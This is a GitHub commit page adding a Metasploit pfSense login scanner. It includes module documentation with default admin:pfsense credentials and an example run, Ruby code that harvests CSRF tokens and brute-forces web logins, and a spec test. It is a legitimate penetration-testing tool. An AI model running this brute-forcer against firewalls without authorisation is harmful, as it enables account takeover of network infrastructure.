Skip to content

Commit e841a45

Browse files
authored
Merge pull request rapid7#19985 from sjanusz-r7/add-pfsense-login-scanner
Add pfSense Login Scanner module
2 parents f0febba + e506bac commit e841a45

File tree

5 files changed

+332
-1
lines changed

5 files changed

+332
-1
lines changed
Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
## Vulnerable Application
2+
3+
This module attempts to bruteforce credentials for pfSense.
4+
5+
This module was specifically tested on version 2.7.2:
6+
7+
**2.7.2 Download**
8+
9+
https://atxfiles.netgate.com/mirror/downloads/
10+
11+
Note:
12+
13+
By default, pfSense comes with a built-in account named ```admin``` with the password being ```pfsense```.
14+
15+
## Verification Steps
16+
17+
1. Set up a pfSense VM using the steps above or target a real installation
18+
1. Start `bundle exec ./msfconsole -q`
19+
1. `use auxiliary/scanner/http/pfsense_login`
20+
1. `set ssl true`
21+
1. `set pass_file ...`
22+
1. `set user_file ...`
23+
1. `run`
24+
1. or, using some example inline options: `run pass_file=data/wordlists/default_pass_for_services_unhash.txt user_file=data/wordlists/default_pass_for_services_unhash.txt STOP_ON_SUCCESS=true SSL=true rport=443`
25+
1. Verify you get a login:
26+
```
27+
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
28+
```
29+
30+
## Options
31+
32+
### BLANK_PASSWORD
33+
34+
Set to `true` if an additional login attempt should be made with an empty password for every user.
35+
36+
### BRUTEFORCE_SPEED
37+
38+
How fast to bruteforce, from 0 to 5
39+
40+
### PASSWORD
41+
42+
A specific password to authenticate with
43+
44+
### PASS_FILE
45+
46+
File containing passwords, one per line
47+
48+
### STOP_ON_SUCCESS
49+
50+
Stop guessing when a credential works for a host
51+
52+
### THREADS
53+
54+
The number of concurrent threads (max one per host)
55+
56+
### USERPASS_FILE
57+
58+
File containing users and passwords separated by space, one pair per line
59+
60+
### USER_FILE
61+
62+
File containing usernames, one per line
63+
64+
### VERBOSE
65+
66+
Whether to print output for all attempts
67+
68+
## Scenarios
69+
```
70+
msf6 auxiliary(scanner/http/pfsense_login) > options
71+
72+
Module options (auxiliary/scanner/http/pfsense_login):
73+
74+
Name Current Setting Required Description
75+
---- --------------- -------- -----------
76+
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
77+
BLANK_PASSWORDS false no Try blank passwords for all users
78+
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
79+
DB_ALL_CREDS false no Try each user/password couple stored in the current database
80+
DB_ALL_PASS false no Add all passwords in the current database to the list
81+
DB_ALL_USERS false no Add all users in the current database to the list
82+
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
83+
PASSWORD pfsense no A specific password to authenticate with
84+
PASS_FILE no File containing passwords, one per line
85+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
86+
RHOSTS 192.168.207.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
87+
RPORT 443 yes The target port (TCP)
88+
SSL true no Negotiate SSL/TLS for outgoing connections
89+
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
90+
TARGETURI / yes The base path to the pfSense application
91+
THREADS 1 yes The number of concurrent threads (max one per host)
92+
USERNAME admin no A specific username to authenticate as
93+
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
94+
USER_AS_PASS false no Try the username as the password for all users
95+
USER_FILE no File containing usernames, one per line
96+
VERBOSE true yes Whether to print output for all attempts
97+
VHOST no HTTP server virtual host
98+
99+
100+
View the full module info with the info, or info -d command.
101+
102+
msf6 auxiliary(scanner/http/pfsense_login) > run
103+
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
104+
[*] Scanned 1 of 1 hosts (100% complete)
105+
[*] Auxiliary module execution completed
106+
```
Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
3+
module Metasploit
4+
module Framework
5+
module LoginScanner
6+
7+
# This is the LoginScanner class for dealing with Netgate pfSense instances.
8+
# It is responsible for taking a single target, and a list of credentials
9+
# and attempting them. It then saves the results.
10+
class PfSense < HTTP
11+
LOGIN_ENDPOINT = 'index.php'
12+
13+
# Checks if the target is pfSense. The login module should call this.
14+
#
15+
# @return [Boolean, String] FalseClass if target is pfSense, otherwise String
16+
def check_setup
17+
request_params = {
18+
'method' => 'GET',
19+
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT)
20+
}
21+
res = send_request(request_params)
22+
23+
if res&.code == 200 && res.body&.include?('Login to pfSense')
24+
return false
25+
end
26+
27+
"Unable to locate \"Login to pfSense\" in body. (Is this really pfSense?)"
28+
end
29+
30+
def query_csrf_magic
31+
request_params = {
32+
'method' => 'GET',
33+
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT)
34+
}
35+
36+
res = send_request(request_params)
37+
38+
if res.nil?
39+
return { status: :failure, error: 'Did not receive response to a GET request' }
40+
end
41+
42+
if res.code != 200
43+
return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" }
44+
end
45+
46+
# CSRF Magic Token and Magic Value are inlined as JavaScript in a <script> tag.
47+
# It can also be extracted from the Nokogiri::HTML(res.body).search('form') form.
48+
csrf_magic_token, csrf_magic_name = res.body.match(/var csrfMagicToken = "(?<magic_token>.*)";var csrfMagicName = "(?<magic_name>.*)";/).captures
49+
if csrf_magic_token.nil? || csrf_magic_name.nil?
50+
return { status: :failure, error: "Could not find magic CSRF values. csrf_magic_token: '#{csrf_magic_token}', csrf_magic_name: '#{csrf_magic_name}'" }
51+
end
52+
53+
{ status: :success, result: { csrf_magic_token: csrf_magic_token, csrf_magic_name: csrf_magic_name } }
54+
end
55+
56+
# Each individual login needs their own CSRF magic header.
57+
# This header comes from a GET request to the index.php page
58+
def try_login(username, password, csrf_magic)
59+
request_params =
60+
{
61+
'method' => 'POST',
62+
'uri' => normalize_uri(@uri.to_s, LOGIN_ENDPOINT),
63+
'keep_cookies' => true,
64+
'vars_post' => {
65+
'usernamefld' => username,
66+
'passwordfld' => password,
67+
csrf_magic[:csrf_magic_name] => csrf_magic[:csrf_magic_token],
68+
'login' => ::URI.encode_www_form_component('Sign In')
69+
}
70+
}
71+
72+
{ status: :success, result: send_request(request_params) }
73+
end
74+
75+
def attempt_login(credential)
76+
result_options = {
77+
credential: credential,
78+
host: @host,
79+
port: @port,
80+
protocol: 'tcp',
81+
service_name: 'pfsense'
82+
}
83+
84+
# Each login needs its own csrf magic tokens
85+
csrf_magic = query_csrf_magic
86+
87+
if csrf_magic[:status] != :success
88+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: csrf_magic[:error])
89+
return Result.new(result_options)
90+
end
91+
92+
login_result = try_login(credential.public, credential.private, csrf_magic[:result])
93+
94+
if login_result[:result].nil?
95+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to pfSense')
96+
return Result.new(result_options)
97+
end
98+
99+
# 200 is incorrect result
100+
if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect')
101+
result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect')
102+
return Result.new(result_options)
103+
end
104+
105+
login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT
106+
result_options.merge!(status: login_status, proof: login_result[:result])
107+
Result.new(result_options)
108+
109+
rescue ::Rex::ConnectionError => _e
110+
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to pfSense')
111+
return Result.new(result_options)
112+
end
113+
end
114+
end
115+
end
116+
end

lib/msf_autoload.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -300,7 +300,8 @@ def custom_inflections
300300
'rex_ntlm' => 'RexNTLM',
301301
'teamcity' => 'TeamCity',
302302
'nist_sp_800_38f' => 'NIST_SP_800_38f',
303-
'nist_sp_800_108' => 'NIST_SP_800_108'
303+
'nist_sp_800_108' => 'NIST_SP_800_108',
304+
'pfsense' => 'PfSense'
304305
}
305306
end
306307

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'metasploit/framework/credential_collection'
6+
require 'metasploit/framework/login_scanner/pfsense'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::AuthBrute
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'pfSense Login Scanner',
18+
'Description' => 'This module performs login attempts against a Netgate pfSense router webpage to bruteforce possible credentials.',
19+
'Author' => [ 'sjanusz-r7' ],
20+
'License' => MSF_LICENSE,
21+
'Notes' => {
22+
'Stability' => [ CRASH_SAFE ],
23+
'Reliability' => [],
24+
'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS, SCREEN_EFFECTS, AUDIO_EFFECTS ]
25+
}
26+
)
27+
)
28+
29+
register_options(
30+
[
31+
Msf::OptString.new('TARGETURI', [true, 'The base path to the pfSense application', '/']),
32+
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]),
33+
Opt::RPORT(443),
34+
], self.class
35+
)
36+
37+
deregister_options('DOMAIN')
38+
end
39+
40+
def process_credential(credential_data)
41+
credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}"
42+
case credential_data[:status]
43+
when Metasploit::Model::Login::Status::SUCCESSFUL
44+
print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}"
45+
credential_data[:core] = create_credential(credential_data)
46+
create_credential_login(credential_data)
47+
return { status: :success, credential: credential_data }
48+
else
49+
if credential_data[:proof]
50+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]} : #{credential_data[:proof]})"
51+
else
52+
error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})"
53+
end
54+
vprint_error error_msg
55+
invalidate_login(credential_data)
56+
return { status: :fail, credential: credential_data }
57+
end
58+
end
59+
60+
def run_scanner(scanner)
61+
successful_logins = []
62+
scanner.scan! do |result|
63+
credential_data = result.to_h
64+
credential_data.merge!(
65+
module_fullname: fullname,
66+
workspace_id: myworkspace_id
67+
)
68+
69+
processed_credential = process_credential(credential_data)
70+
successful_logins << processed_credential[:credential] if processed_credential[:status] == :success
71+
end
72+
{ successful_logins: successful_logins }
73+
end
74+
75+
def run_host(ip)
76+
cred_collection = build_credential_collection(
77+
username: datastore['USERNAME'],
78+
password: datastore['PASSWORD']
79+
)
80+
81+
scanner_opts = configure_http_login_scanner(
82+
host: ip,
83+
uri: target_uri,
84+
port: datastore['RPORT'],
85+
proxies: datastore['Proxies'],
86+
cred_details: cred_collection,
87+
stop_on_success: datastore['STOP_ON_SUCCESS'],
88+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
89+
connection_timeout: datastore['HttpClientTimeout'] || 5,
90+
framework: framework,
91+
framework_module: self,
92+
http_success_codes: [302],
93+
method: 'POST',
94+
ssl: datastore['SSL']
95+
)
96+
97+
scanner = Metasploit::Framework::LoginScanner::PfSense.new(scanner_opts)
98+
run_scanner(scanner)
99+
end
100+
end
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
require 'spec_helper'
2+
require 'metasploit/framework/login_scanner/pfsense'
3+
4+
RSpec.describe Metasploit::Framework::LoginScanner::PfSense do
5+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
7+
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
8+
end

0 commit comments

Comments
 (0)